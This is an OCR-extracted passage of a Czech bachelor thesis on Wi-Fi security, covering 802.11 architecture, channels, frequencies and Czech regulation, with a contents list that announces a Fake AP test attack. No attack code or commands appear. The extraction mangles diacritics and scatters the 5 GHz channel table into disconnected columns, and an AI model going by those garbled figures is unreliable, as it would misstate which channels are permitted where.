Univerzita Hradec Kralové
Fakulta informatiky a managementu

Katedra informaénich technologii

Zabezpeceni bezdratovych siti proti pokrocilym utokiim

Bakalarska prace

Autor: David Glevicky
Studijni obor: Aplikovana informatika

Vedouci prace: Ing. Ondrej Hornig

Hradec Kralové Duben 2016



Prohlaseni:
ProhlasSuji, Ze jsem bakalarskou praci zpracoval samostatné a s pouZitim

uvedenych zdroju.

V Hradci Kralové dne 22.4.2016 David Glevicky



Podékovani:
Dékuji vedoucimu bakalarské prace Ing. Ondreji Hornigovi za odborné rady,
vécné pripominky, vstiicny pristup a vSe, co mi pomohlo pri zpracovani bakalarské

prace.



Anotace

Tato bakalarské prace se zabyva problematikou zabezpeceni bezdratovych siti.
Cilem této bakalarské prace je vysvétlit jednotlivé pojmy bezdratovych siti, seznamit
Ctenare s pouZitymi standardy 802.11, popsat metody zabezpeceni a poukazat
na jednotlivé bezpecnostni problémy bezdratovych siti. Vysvétleny jsou zde také
zasady elementarniho zabezpeceni. V testovacich podminkach byl proveden utok
na nezabezpeCenou bezdratovou sit Wi-Fi pomoci faleSného bezdratového
pristupového bodu, neboli Fake AP. Na konci bakalarské prace jsou popsany
vysledky testovaciho Utoku pomoci faleSného bezdratového pristupového bodu
a doporucené principy jak se proti takovému utoku branit nebo jak utoku
piedchazet. V aplném zavéru bakalaiské prace se nachazi shrnuti celé prace a navrh

na mozné dalsi témata spojena s danou problematikou.

Annotation

Title: Wireless security against advanced attacks

This bachelor thesis deals with security problems of wireless networks. The purpose
is to explain the various concepts of wireless network, introduce 802.11 standards
used in wireless networks, describe security methods and point out the various
security issues of wireless networks. There are also explained elementary principles
of wireless security. In the test environment an illustrative attack was made
on an insecure wireless Wi-Fi network using a fake wireless access point. This attack
is known as Fake AP. Described at the end of this bachelor thesis are results of
an attack and suggested principles on how to defend and even avoid being attacked.
The final section of the bachelor thesis is a summary of the thesis and proposal of

possible topics related to wireless network issues.



UVOU...ceeeeeeeeee ettt ettt ettt ettt ettt et et et et s ettt e s et et et et et et enesenenas 1
Cil @ MEtodika PrACE ....uvii et 2
BEZAFAtOVE SIte ....eoieiiiiiiieeie e 3
3.1 Historie bezdratove SItE ..........ooviiiiiieeeeeeee e 4
3.2 Z3akladni architektura bezdratové sit€ Wi-Fi .........ccoceeviiiiiiiiiniiiiicnicceeee, 4
3.2.1  STANICE cviiii i e e 5
3.2.2 Bezdratovy pristupovy DOd......cc.ceeiiiiiiiiiciiie e 5
32,3 IB S e e e e e e e e e e as 5
3.2 B e e e e e e e as 6
3.2, S B S e e e e e e e e e e e e e e as 6
3.2.6  DisStribDUCNT SYSTEM ...vviiiiciiiee e e e e e e et e e e eraeae s 6
3.3 JAK FUNBUIE Wi-Fiuereeeeseeeeeeeeeeeeeeeeeeees et s e seeeeseee s see st esesseeseseesesnnees 6
3.4 Kanaly a frekvence bezdrdtoveé sit€ Wi-Fi ........cccceeeeeiiiiiciiiee e 7
3.4.1 Legislativa provozu v Ceské republiCe..........coiirievieiveueieeeieeeeeeeeseeeeenae, 7
3.4.2 Frekvence standardll 802.11 .......ccceeiiiriieiiiieieeie e 8
O T -1 4 o Vo IR N C 1 TP 9
344 PASMO 5 GHZ ittt 10
3.5 Vyhody a nevyhody bezdrdtové sité Wi-Fi........cccovvveeveiiiiiccee e, 12
3.6 Zatizeni pro provoz bezdratoveé sit€ Wi-Fi........cccoovvvveeeiiiieicciirieeeee e, 13
3.7  CTU = Cesky telekomunika€ni UFad ..........cceeveueeiveieieeieeeeeeeceeee e 13
StANdArd 802.11 ......oeoiiieeeee e e 14
4.1 802,00 e 15
4.2 200 L « PO PRRTRROTPTOPPRO 15
4.3 B0, g e e e 16
4.4 <10 1 o OO UTTUPPP PP 16
4.5 802, daC coi e e e e e e 17
4.5.1 802.11aCWaVE 1 ...cuiiiiiiiiiiiiiiitn 17



6

4.6 B02.11ad ...ttt et e s e s nreeea 18

A.7  802.118N e e ne e 18
A.8  802.11af ittt e a e ae e 18
4.9 B02.11AX cuueriiiiiiiiiii ittt 19
4.10  Dodatky 802.11......ooiiiieeieeeie ettt ene e 19
Zabezpeceni bezdratovyCh Siti .........ceevciieeiiiee e 21
5.1  Zabezpeleni bezdratovych siti v Ceské republice ........ccooevvviveveecereiseeeane. 21
5.2 AUTENTIZACE ....iiiiiiiiiii e 21
5.2.1  OPeN SYSTEM . ittt ettt e e e reear b e s s s e e e e e eataa e e e e e eeeeneraaans 22
I A o F- 1 < Te [ (= PSP URP 22
5.3 SKIYET SSID ..ottt ne e 22
5.4 FItroVaANT IMAC dres .....eeieiieeiee ettt 23
DD WP e e b e ne e 23
5.5. 1 SHTOVANT coetieeicesieeecee et 24
5.5.2 RO ettt e r e e e 24
5.5.3  INIcializaCni VEKEOr ..cc.eeiiiiieieiieeeeee e 24
5.5.4° CREC-32 ..ttt ettt e sttt et s n e saee e 25
DB VP A et h et b e st enhe e e b e saeeereen 25
5.6.1 Autentizace PSK, RADIUS 4 802.1X ....ucivuuiiieiiiieiiiiiieieeeeeeeeieeeraeeeaneerannes 25
5.6.2 TKIP ettt sttt et ae e s ne e e e 25
5.6.3  IMIC . 26
5.7 WPAZ ettt et b e he e e b e saeeenee 26
5.7.1 AUENTIZACE......oiiiiiiiiiii 26
5.7.2  AES e ettt be e eaee e 26
5.7.3 CCOMP et e 27
58 802, LXK ettt et b e st h e et b e s be e nheeeteesaeeebeen 27
TR T L TP OU PR UPRRPOPRPIN 27
5,10 RADIUS ...ttt s ne e 28
Bezpelnostni Probl&my ...... ... 29



6.1 IMAC SPOOFING wvveeiiiiiee ettt e e s s sbre e e e saaee e e seeaaeeeenes 29

6.2 WEP CracKing ...ueveeeeeeieiieieeee et e e e e e e s e e e e e e s e nnnnaees 29
6.3 Denial Of SEIVICE oot 30
6.3.1 Distributed Denial Of SErViCe .......cocuiiieiiieieeeeeeeeee e 30

6.4 Prolomeni WPS ... ettt s 31
6.5 Dictionary @ttacK........eeieiiieiciiieee e e 31
6.6 Man-in-the-mMiddle ..........oooiiiii e 32
6.7 ROZUE ACCESS POINT...uiiiiiiiiiiiiiiiiiuieieiuteiererereiererererererererererea—————————————. 32

7  Zdasady elementarnino zabezpeCeni........ceeoccuieee e 34
7.1 Tovarni nastaveni bezdratového pristupového bodu ..........ccceeevviiiieiiiennns 34
7.2 SSID ettt et b e b e nhe e e b e saeeeneen 34
7.3 SIOZItOSt NESIA . e 34
7.4 FIltrace MAC @dres.....coouiiiiiieiieeceeeee e e 35
7.5 Bezpelnostni opatfeni hardwaru ........cccccveeeiiciiieiiecieee e 35
7.6 D0sah bezdratoVve Site .........cccuiiiiiiiiiiee e 35
7.7 UZivatelé bezdratove Site .........cooviiiiiiieiieeeeeee e 36
7.8 Bezpednostni MechanisSmy ... 36

8  PodvrZeni AP a jeho dUsledky......c.eoeeeiiiee i 37
8.1 NAvrh Utoku PoOmMOCT FAKE AP ....ceeeeieereeeeee ettt e 37
8.2 Podminky tEStOVANT ...ceiiii e 40
8.2.1  HArOWArE ..t 40
8.2.2  SOFIWAIE ...t e e s 40

8.3 Konfigurace Kali LINUX........cccouvvieeieeeieicirreeeee et eeetnnre e e e e e e e eenanr e 41
8.4 Prib@h ULOKU ....coeeiiii i e 45
8.5 Varianty ULOKU ....uvvveeeiecice et e e e 47
8.6 Jak se branit proti Utoku pomoci Fake AP .........cccuviiiiieeiii e 48
8.7 SHINULT VYSIEAKU «.vvveeieiiiieeeeeee ettt e 48

S I - V<Y VA e [0 o Yo T AU o1=1 | ISP 50

10 Seznam POUZILE EEratUry ...coocei i e e e e e e e 51



Seznam obrazku

Obr. 1 Architektura 802.11, [Zdro0j: QULOT PraCE] ...uvrrermrmmemrrmsssrsssrssssssssssssssssssssssssssssssesnes 5
Obr. 2 Wi-Fi kanaly v pasmu 2,4 GHZ, [43] ..ccommmmmsssssssssssssssssssssssssssssssses 7
Obr. 3 Piehled frekvenci standardii 802.11 , [15].cerreermeersemmreeseesseesseesseesseessssssessensees 14
Obr. 4 Navrh utoku pomoci Fake AP, [Zdroj: autor prace] ... 39
Obr. 5 Sitova rozhrani, [Zdroj: autor Prace].....ssssssessssssssessnans 43
Obr. 6 Monitorovaci méd wlan1, [Zdroj: autor Prace] ... 44
Obr. 7 Pripojeni uZivatele, [Zdroj: autor Prace] ... 46
Obr. 8 Odchycené prihlasovaci udaje z facebook.com, [Zdroj: autor prace].............. 46
Obr. 9 Odchycené prihlasovaci udaje z google.com, [Zdroj: autor prace].........ouu.... 47

Seznam tabulek

Tabulka 1 Standardy 802.11 a jejich freKvence, [9] ....ccmmmnrnnennesnssnesessesessssssessens 8
Tabulka 2 Seznam Wi-Fi kanalu v pasmu 2,4 GHZ, [7] ..o 10
Tabulka 3 Seznam Wi-Fi kanalu v pasmu 4,9 aZ 5 GHZ, [7] ..o 11


file:///C:/Users/David/Desktop/bc_matro/!prace_na_bc/Bc_prace_Glevicky_David.docx%23_Toc449044594

Seznam zkratek

AES. . Advanced Encryption Standard

AP s Access point

BSS Basic service set

CCK i Complentary Code Keying

CSMA/CA .. Carrier Sense Multiple Access/Collision Avoidance
CSMA/CD.iirrerrirsesreerenssesnenns Carrier Sense Multiple Access/Collision Detection
DFS. e Dynamic Frequency Selection

D] Direct Link Setup

DS Distribution system

DSSS e Direct Sequence Spread Spectrum

ESS o Extended service set

[APP .. Inter-Acces Point Protocol

IBSS. e Independent basic service set

23 20 D Institute of Electrical and Electronics Engineers
(0 ) T Internet of Things

1% 0 01 L Multiple-Input Multiple-Output
MU-MIMO.....orrrrireerreerernrernenns Multi User Multiple-Input Multiple-Output
OFDA. ..o Orthogonal Frequency Division Access
OFDM....ovtreirrireersereessessesssesseens Orthogonal Frequency Divisiom Multiplex

QOS s Quality of Service

RSN e Robust Security Network

STA s Station

SU-MIMO ....covvrerrirreenrerrenssenneens Single User Multiple-Input Multiple-Output
TKIP e Temporal Key Integrity Protocol

1 O Transmit Power Control

WEP .. Wired Equivalent Privacy

WLAN..c s Wireless Local Area Network
WPA..ceeeeeeeenens Wi-Fi Protected Access

WPAZ . Wi-Fi Protected Access 2



1 Uvod

Bezdratové sité jsou velmi aktudlnim tématem. S bezdratovymi sitémi je dnes
moZné se setkat vSude, at uZ vdomacnosti, ve Skole, v kavarnach nebo napriklad
na verejnych mistech. Ne kazda bezdratova sit je vSak vhodné zabezpecena. I dnes
se lze setkat s domacimi Wi-Fi sitémi, kde je bezdratovy pristupovy bod nastaven
jesté z vyroby. Tedy neni obtiZné zjistit heslo sité nebo se i prihlasit na bezdratovy
pristupovy bod a provést zmény v konfiguraci zarizeni.

Ve firemnim prostiedi se na bezpecnost vétSinou klade velky dtliraz. I ptesto se
objevuji ¢asté chyby v konfiguracich a dochazi k prehlédnuti znamych rizik.

Cilem této bakalarské prace je poukazat na jednotlivé bezpelnostni problémy
a zaroven objasnit metody zabezpeceni sitovych prvki.

Prace je tematicky délena na Sest c¢asti. Prvni ¢ast popisuje bezdratové sité, jejich
historii a architekturu. Také je zde popsana funkce, pouZzité kanaly a frekvence
u bezdratové sité Wi-Fi. Vtéto casti je zde také zminénd legislativa provozu
bezdratovych siti. Druha ¢ast této prace pojednava o standardu 802.11. Treti ¢ast se
zabyva zabezpecCenim bezdratovych siti. Jsou zde popsany jednotlivé metody
zabezpedeni a také aktualni statistika zabezpeceni v Ceské republice. Ctvrta ¢ast se
zabyva bezpecnostnimi problémy. Jsou zde vysvétleny nejCastéjSi pouZité metody
pfi pokusu o prolomeni zabezpeeni bezdratovych siti. Pata c¢ast poté popisuje
zasady elementarniho zabezpeceni a jejich dullezitost. V osmé casti této prace je
provedena ukazka utoku pomoci faleSného pristupového bodu v testovacich
podminkach.

Na konci bakalarské prace se nachazi shrnuti vysledkli provedeného utoku a také

zavér celé prace.



2 Cil a metodika prace

Cilem této bakalarské prace je ukazat nové trendy v zabezpeleni, poukazat
na nejvice se vyskytujici hrozby bezdratovych siti a vysvétlit klicové pojmy
problémové domény. V praktické ¢asti potom analyzovat a vysvétlit priibéh Gtoku
pomoci nezabezpeCeného bezdratového bodu. A v neposledni radé je cilem této
prace informovat ¢tenaife o mozZném nebezpeci ztraty osobnich dat, jako napiiklad
citlivé prihlaSovaci ddaje nebo dokonce ztrata celé digitalni identity, nebo také

podnikovych dokumenti pti nepouzivani dostate¢nych technik zabezpeceni.



3 Bezdratove sité

Bezdratové lokalni sité, téZ oznacovany jako Wi-Fi nebo WLAN. Oznaceni Wi-Fi
zavedlo konsorcium Wi-Fi Aliance jako obchodni oznaceni produktl spliujici
standard 802.11.

Bezdratové sité vyuZzivaji radiovy signdl jako prenosové médium. Pro bezdratové
sité Wi-Fi se nejcastéji vyuziva pasmo 2,4 GHz a pasmo 5 GHz. Tyto dvé pasma jsou
nelicencovana, neni tedy zapottebi licence v Ceské republice k jejich vyuZivani. Diky
volnosti pouZiti nelicencovaného pasma se miiZe stat, Ze bezdratova sit' bude rusena
jinou bezdratovou siti na stejné frekvenci nebo i jinym zarizenim operujici na stejné
frekvenci, naptriklad mikrovinna trouba nebo Bluetooth zarizeni. Pii Spatné
konfiguraci vice zarizeni v jedné siti se mtizou bezdratové zarizeni rusit navzajem.
V Ceské republice je moZné vyuzivat 13 kanaléi v pasmu 2,4 GHz.

Bezdratova sit Wi-Fi je specifikovana IEEE standardem 802.11. Standard 802.11 byl
a je dale rozsifovan o mnoho dodatkd, které vylepsuji funkce Wi-Fi.

Bezdratové sité Wi-Fi pouzivaji CSMA/CA jako protokol pro pristup k médiu.
Protokol CSMA/CA byl odvozen z protokolu CSMA/CD, ktery vyuZiva Ethernet.
Koncept protokolu CSMA/CA je od protokolu CSMA/CD odliSny. Na rozdil
od Ethernetu neni jednoduché zjistit kolizi v bezdratové siti, proto se k detekci
kolizim vyuZiva systém potvrzovani. [1]

Mezi nejvétsi vyhody bezdratovych siti patii mobilita uzivatelli bez ztraty pripojeni
a niz8i ndklady na vybudovani sité oproti kabelové siti. Také je mnohem jednodussi
tuto bezdratovou sit rozsirovat. [2]

Pro maximalizaci mobility stanic umoZiuji bezdratové sité roaming. Roaming je
velmi dtllezitd funkce WLAN. Pokud je roaming spravné nakonfigurovan
a bezdratové pristupové body vhodné propojeny distribu¢nim systémem, pak
se stanice mohou volné pohybovat v oblasti pokryté signalem z vice pristupovych
bodu. Bezdratové pristupové body si budou stanice podle potieby nebo sily signalu
predavat, aniz by doslo k naruseni komunikace v siti. [1]

Mezi bezdratové sité nepatii jen lokalni bezdratové sité Wi-Fi. Patii sem také riizné
bodové spojeni mezi pevné stanovenymi uzly pro prenos dat, napiiklad na dlouhé

vzdalenosti. Tento druh spojeni se dale déli na prenos mezi dvéma body (P-P)



a prenos z jednoho bodu na vice boda (P-MP). Takovéto spoje vyuZivaji napriklad
poskytovatelé internetového pripojeni. Poskytovatelé internetového pripojeni
vyuzivaji pro tyto spoje licencovana i nelicencovana pasma. Vyhodou licencovaného
pasma je mnohem mensi rusSeni a diky tomu také poskytnuti lepSich sluZeb. Pro tyto
potieby se pouziva napiiklad standard 802.16, ktery je zaméren prevazné

na venkovni sité. [3]

3.1 Historie bezdratove sité

Bezdratové sité maji za sebou dlouhou historii. Zasadni prilom pro bezdratové sité
nastal vroce 1980, kdy inZenyr zamerické vladni telekomunika¢ni organizace
Michael Marcus podal navrh o uvolnéni nékterych radiovych frekvenci. Navrh se
tykal o uvolnéni takzvanych ,garbage bands“ na frekvencich 900 MHz, 2,4 GHz,
5,8 GHz a jejich pouziti bez vladni licence. Tyto frekvence byly ptivodné vyhrazeny
pouze pro zarizeni, kterd vyuZzivala radiové viny k jinym ucelim neZ ke komunikaci.
Frekvence byly uvolnény az v roce 1985 za podminek, Ze se nové vznikla zarizeni
budou muset umét vyporadat s ruSenim.

Nékolik vyrobcli zacalo vyrabét vlastni zatizeni, ktera vsak diky chybéjicimu
standardu nebyla kompatibilni. Diky tehdejSimu dspéchu Ethernetu si vyrobci
uvédomili dulezitost standardu pro trh. Tak vznikla komise s nazvem 802.11
vorganizaci IEEE, kterd dostala za kol vytvorit primyslovy standard
pro bezdratové site.

A7 roku 1997 se podarilo komisi vytvorit zakladni specifikace a vznikl standard
802.11. Po vzniku standardu firmy okamzité zacaly vyvijet prototypy spliujici
standard 802.11. [4]

3.2 Zakladni architektura bezdratové sité \Wi-Fi

Logicka architektura standardu 802.11 obsahuje nékolik hlavnich komponent:
stanice, bezdratovy pristupovy bod, nezavisla zadkladni sada sluzeb, zakladni sada
sluzeb, distribu¢ni systém a rozSifend sada sluZeb. Nékteré logické prvky
architektury primo souvisi s hardwarovymi zatizenimi jako napriklad stanice nebo

bezdratovy pristupovy bod. [5]



ESS

IBSS

Obr. 1 Architektura 802.11, [Zdroj: autor prace]

3.2.1 Stanice

Bezdratova stanice obsahuje bezdratovou sitovou kartu nebo rozSifeni

pro pouzivani bezdratovych siti. [5]

3.2.2 Bezdratovy pristupovy bod

Bezdratovy pristupovy bod slouzi jako most mezi bezdratovymi stanicemi

a existujici paterni siti pro pristup naptiklad k internetu. [5]

3.2.3 IBSS

IBSS je bezdratova sit, kterd se sklada z alespon dvou stanic. PouZziva se tam, kde
neni pristup k distribu¢nimu systému. IBSS je také nékdy oznacovan jako ad hoc

bezdratova sit. [5]



3.2.4 BSS

BSS je bezdratova sit, ktera se sklada z jednoho bezdratového pristupového bodu,
ktery obsluhuje jednoho nebo vice klientli. BSS je také nékdy oznacovana jako
infrastrukturni sit.

VesSkeré stanice v BSS komunikuji skrze ptistupovy bod. Bezdratovy pristupovy bod
poskytuje pripojeni ke kabelové mistni siti. Pfistupovy bod resi komunikaci mezi

jednotlivymi stanicemi nebo komunikaci na uzel distribu¢niho systému. [5]

3.2.5 ESS

ESS je soubor dvou nebo vice bezdratovych piistupovych bodi pripojenych
ke stejné kabelové siti, kterd definuje jeden logicky segment ohranieny routerem.

ESS je také znama pod oznacenim podsit. [5]

3.2.6 Distribucni systém

Bezdratové pristupové body vicecetného BSS jsou vzdjemné propojeny
distribu¢nim systémem. Diky distribu¢nimu systému se mohou stanice volné
pohybovat z jednoho BSS na dalsi. Pristupové body lze propojit jak kabelem, tak
bezdratové. Distribucni systém je tedy logicky prvek, ktery umozni propojeni vice

BSS. [5]

3.3 Jak funguje Wi-Fi

Pro vysvétleni, jak funguje princip Wi-Fi, bude pouzita jednoducha sitova topologie
sjednim bezdratovym pristupovym bodem a jednou bezdratovou stanici.
Bezdratovy pristupovy bod je také propojeny kabelem do vniti'ni sité, ze které miize
byt naptiklad ptistup do internetu.

Jako prenosové médium mezi bezdratovym piistupovym bodem a bezdratovou
stanici pro prenos dat se pouziva radiova frekvence. Norma 802.11 specifikuje
pasmo 2,4 GHz nebo 5 GHz.

Hlavni funkci bezdratového piistupového bodu je prenos dat mezi bezdratovou
a kabelovou siti. Pristupovy bod miize poskytovat také i dalsi funkce specifikované

standardem 802.11 nebo pridané vyrobcem ¢i uZivatelem.



Pro pristup do bezdratové sité se musi bezdratova stanice zkusit pripojit k siti
a projit autentizaci piistupového bodu. Pristupovy bod rozhodne podle
poskytnutych 0daji, zda se mize tato konkrétni stanice pripojit k bezdratové siti
a bud’ stanici povoli pripojeni, nebo ji pristup k siti odmitne. Jakmile se bezdratova

stanice pripoji k bezdratové siti, miize danou sit vyuzivat. [6]

3.4 Kanaly a frekvence bezdratové sité \W\i-Fi

Kanaly a frekvence bezdratovych siti Wi-Fi jsou definovany ve standardu 802.11.
Nejcastéji se standard 802.11 vyuZiva na frekvencich 2,4 a 5 GHz. Kazdé pasmo je
rozdéleno na velké mnozstvi kanall a kazda zemé u obou pasem reguluje napriklad

povolené kanaly nebo maximalni hodnotu vysilaciho vykonu zarizeni. [7]

3.4.1 Legislativa provozu v Ceské republice

Bezdratové sité Wi-Fi Ize v Ceské republice provozovat v pAsmech ISM. ISM pasma
jsou bezlicenc¢ni frekvenéni pasma, kterd jsou rozsifena po celém svété, nachazeji se
na frekvencich 900 MHz, 2,4 a7 2,48 GHz a 5,1 a% 5,8 GHz. V Ceské republice spravuje
tyto pasma CTU, o tomto tGiradu pojednava kapitola 3.7.

CTU stanovil v Ceské republice 13 dostupnych kanald v pasmu 2,4 GHz o $ifce
22 MHz. Mezi jednotlivymi kanaly, respektive jejich stredy, je rozestup 5 MHz. Tuto
situaci ilustruje obrazek Obr 2. V této frekvenci se nabizi pouze tfi neprekryvajici se
kanaly pro standard 802.11.

Maximalni povoleny vyzareny vykon vysilaciho retézce, tedy vysila¢, anténni svod

a anténa, nesmi prekrocit hodnotu 100 mW, respektive 20 dBm. [8]

3 4 5 6 7 8 9 10 11 12 13 14 Channel
2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472 2484 Center Frequency

'|_' (GHz)

22 MHz

Obr. 2 Wi-Fi kanaly v pAsmu 2,4 GHz, [43]

Standard 802.11 sam o sobé neni limitovan pouZitim uvnitf budovy nebo

ve venkovnim prostredi. Pasmo 2,4 GHz lze pouzit uvnittr budovy i venku



pri neprekroceni vysilaciho limitu. PAsmo 5 GHz je pro evropské zemé déleno do ti'{
ticelovych kategorii. V Ceské republice je dohromady moZné vyuZivat 19 kanal®
v pasmu 5 GHz. Prvni Ctyti kanaly se nachazi mezi frekvencemi 5,125 a 5,25 GHz
a jsou urcené pro pouziti uvnitf budov, kde je maximalni povoleny vyzareny vykon
200 mW. Dalsi ctyri kanaly se nachazeji mezi frekvencemi 5,25 az 5,35 GHZ a jsou
urcené pro venkovni prostredi, kde je maximalni povoleny vyzareny vykon 200 mW,
ale pouze pokud je bezdratovy bod vybaven automatickou regulaci vykonu. Pokud
ne, maximalni povoleny vyzareny vykon je zde 100 mW. Poslednich 11 kanalu se
nachazi mezi frekvencemi 5,47 aZ 5,725 GHz a jsou urcené pro venkovni pouziti.
Maximalni povoleny vyzareny vykon je zde 1 W pfii pritomné regulaci vykonu.
Pokud bezdratovy bod neni vybaven regulaci vykonu, je maximdalni povoleny

vyzareny vykon 500 mW. [8]

3.4.2 Frekvence standardu 802.11

Vzhledem ktomu, Ze existuje vétSi mnozstvi standardd 802.11, tak také riizné
standardy 802.11 vyuzivaji odliSna pasma. V nasledujici tabulce je vidét prehled

nejpouzivanéjsich frekvenci u standardii 802.11. [9]

Varianty standardu

802.11
802.11a 5 GHz
802.11b 2,4 GHz
802.11g 2,4 GHz
802.11n 2,4a5 GHz
802.11ac 5 GHz
802.11ad Vice neZ 60 GHz
802.11af Televizni bilé pasmo (Méné neZ 1 GHz)
802.11ah 700 MHz, 860 MHz, 902 MHz, a dalsi. (ZaleZi na

konkrétni zemi)

Tabulka 1 Standardy 802.11 a jejich frekvence, [9]



3.4.3 Pasmo 2,4 GHz

Pasmo 2,4 GHz definuje 14 kanalu s rozestupem 5 MHz, kromé 14. kanalu, kde je
mezi 13. a 14. kanalem oddéleni Siroké 12 MHz. Tyto kanaly jsou globalné dostupné,
ale zaleZi na daném staté, které kanaly jsou zde povoleny. [7]

Standard 802.11 definuje Sitku pasma 22 MHz. Tak, aby se tyto kanaly neprekryvaly
a vznikalo tak co nejmensi ruseni, je vyhodné pouZit pouze tfi neprekryvajici se
kandaly, poptipadé ¢tyti pokud je uvolnéno vsech 14 kanalt.. Diky definovanym 14
kanallim je zde pét moznosti jak sestavit tyto tii neprekryvajici se kandly. Témi
kombinacemi jsou konkrétné kandly 1, 6, 11 nebo 2,7, 12 nebo 3, 8, 13 nebo 4, 9, 14
a5, 10, 14. ZaleZi pak na daném staté, které kandly jsou k dispozici, a diky tomu miiZe
byt pocet kombinaci neprekryvajicich se kanalii mensi neZ pét. Nejcastéji je obecné
bezdratovy pristupovy bod nastaven defaultné na kanal 6 nebo 11 a tedy také
kombinace neptekryvajicich kanalu 1, 6 a 11 je nejcastéji vyuzivana.

S pouzitim standardu 802.11n, kde je moZné pouZit sirku pasma 20 nebo 40 MHz, se
tyto kombinace neprekryvajicich kanalu méni. Napriklad pti pouziti Sifky pasma
40 MHz jsou zde pouze dva neprekryvajici se kanaly a to 3 a 11. [9]

V nasledujici tabulce je prehled povolenych kanalu v pasmu 2,4 GHz u vybranych

zemi.
kanal frekvence (MHz) Evropa Kanada Japonsko
1 2412 Ano Ano Ano
2 2417 Ano Ano Ano
3 2422 Ano Ano Ano
4 2427 Ano Ano Ano
5 2432 Ano Ano Ano
6 2437 Ano Ano Ano
7 2442 Ano Ano Ano
8 2447 Ano Ano Ano
9 2452 Ano Ano Ano
10 2457 Ano Ano Ano
11 2462 Ano Ano Ano



12 2467 Ano Ne Ano
13 2472 Ano Ne Ano

14 2484 Ne Ne Pouze 802.11b
Tabulka 2 Seznam Wi-Fi kanalu v pasmu 2,4 GHz, [7]

3.4.4 Pasmo 5 GHz

Stejné jako pasmo 2,4 GHz, tak i pAsmo 5 GHz je rozdéleno do nékolika kanald.
Obecné je také pasmo 5 GHz méné vyuzivané a dochazi méné k prekryvani kanali
jako v pdsmu 2,4 GHz, které vyuZziva naptiklad mikrovinna trouba a dalsi zarizeni,
které nutné nemusi vyuzivat standard 802.11. [9]

V nasledujici tabulce je prehled povolenych kanalu v pdsmu 5 GHz u vybranych
zemi. U jednotlivych kanalli miize byt v urcitych zemich definovan také maximalni

vysilaci vykon, pripadné rozdéleni na vyuZzivani bezdratovych siti na venkovni

a vniti'ni vysilani, respektive uvniti budovy a mimo budovu.

kanal frekvence Evropa USA Japonsko Singapur
(MHz) 20MHz 20MHz 20MHz 10 MHz 20 MHz
7 5035 Ne Ne Ne Ano Ne
8 5040 Ne Ne Ano Ano Ne
5045 Ne Ne Ne Ano Ne
11 5055 Ne Ne Ne Ano Ne
12 5060 Ne Ne Ano Ne Ne
16 5080 Ne Ne Ano Ne Ne
34 5170 Ne Ne Ano Ne Ne
36 5180 Ano Ano Ano Ne Ano
38 5190 Ne Ne Ano Ne Ne
40 5200 Ano Ano Ano Ne Ano
42 5210 Ne Ne Ano Ne Ne
44 5220 Ano Ano Ano Ne Ano
46 5230 Ne Ne Ano Ne Ne
48 5240 Ano Ano Ne Ne Ne
52 5260 Ano Ne Ne Ne Ne
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56

60

64

100
104
108
112
116
120
124
128
132
136
140
149
153
157
161
165
183
184
185
187
188
189
192
196

5280
5300
5320
5500
5520
5540
5560
5580
5600
5620
5640
5660
5680
5700
5745
5765
5785
5805
5825
4915
4920
4925
4935
4940
4945
4960
4980

Tabulka 3 Seznam Wi-Fi kanalu v pasmu 4,9 az 5 GHz, [7]

Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ano
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne

Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ano
Ano
Ano
Ano
Ano
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne

11

Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ano
Ano
Ano
Ne
Ano
Ne
Ne
Ne
Ne
Ne
Ne
Ano
Ne
Ne
Ano
Ne
Ano

Ano

Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ano
Ano
Ano
Ano
Ano
Ano
Ne
Ne

Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ano
Ano
Ano
Ano
Ano
Ne
Ne
Ne
Ne
Ne
Ne
Ne
Ne



3.5 Vyhody a nevyhody bezdratové sité \Wi-Fi
Mezi bezdratovymi sitémi Wi-Fi a kabelovymi sitémi je nékolik rozdil a nejedna se
pouze o jiné prenosové médium. Mezi hlavni vyhody bezdratové sité Wi-Fi miize

patrit:

e Wi-Fi vysila v nelicencovaném radiovém pasmu, takZe uZzivatel nepotiebuje
souhlas mistnich utadu.

e Pomoci Wi-Filze vybudovat LAN bezdratové, tedy bez pouZiti kabelaze, a tim
snizit ndklady na stavbu sité. Wi-Fi sit’ jde tedy i vybudovat na mistech, kde
nelze pouzit kabely.

e Diky standardu 802.11 je na trhu velky vybér zarizeni, ktera jsou
kompatibilni a spolupracuji spolu.

e Diky velkému vybéru, tedy konkurenci, je i cena zarizeni za prijatelnou cenu.

e Prechody mezi hotspoty. Klient se mliZe pohybovat bez ztraty spojeni.

Ale bezdratové sité maji i nevyhody, zvlasté v porovnani s kabelovymi sitémi. At uz
v porovnani s metalickymi nebo optickymi Kkabelovymi sitémi. Mezi hlavni

nevyhody bezdratové sité Wi-Fi miiZe patrit:

e Bezlicen¢ni pasmo 2,4 GHz ma vykonnostni limit 100 mW

e Diky velkému ruSeni zjinych zdroji miize dojit na frekvenci 2,4 GHz
ke sniZeni vykonu sité. Tato frekvence je vyuzivana naptiklad mikrovinnymi
troubami, Bluetooth apod.

e Vporovnani sjinymi standardy ma 802.11 vysokou spotiebu a tak mize
snizovat zivotnost baterii a zpUsobit prehiati zarizeni.

e MiizZou se vyskytovat stale starsi zabezpecovaci a Sifrovaci algoritmy.

e Omezeny dosah Wi-Fi sité.

e Vhusté obydlenych oblastech miize dojit k prekryti kanali - ptlisobeni
otevirenych a zabezpecCenych siti muze zpisobit problém pro pripojeni
klienta.

e MozZnost odposlouchavani bezdratové komunikace.

[10]
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3.6 Zarizeni pro provoz bezdratové sité \Wi-Fi

Nejdulezitéjsi komponenta pro provoz bezdratové sité je bezdratovy pristupovy
bod, téZ oznacovan jako AP. Velmi Casto stanice nekomunikuji pfimo mezi sebou, ale
prostrednictvim bezdratového piistupového bodu, tedy vyuZivaji centralizovany
zplsob komunikace - infrastrukturni sit. K tomuto pouZiti se nejcastéji pouzivaji
Wi-Fi routery, které jsou kombinaci klasického routeru a bezdratového
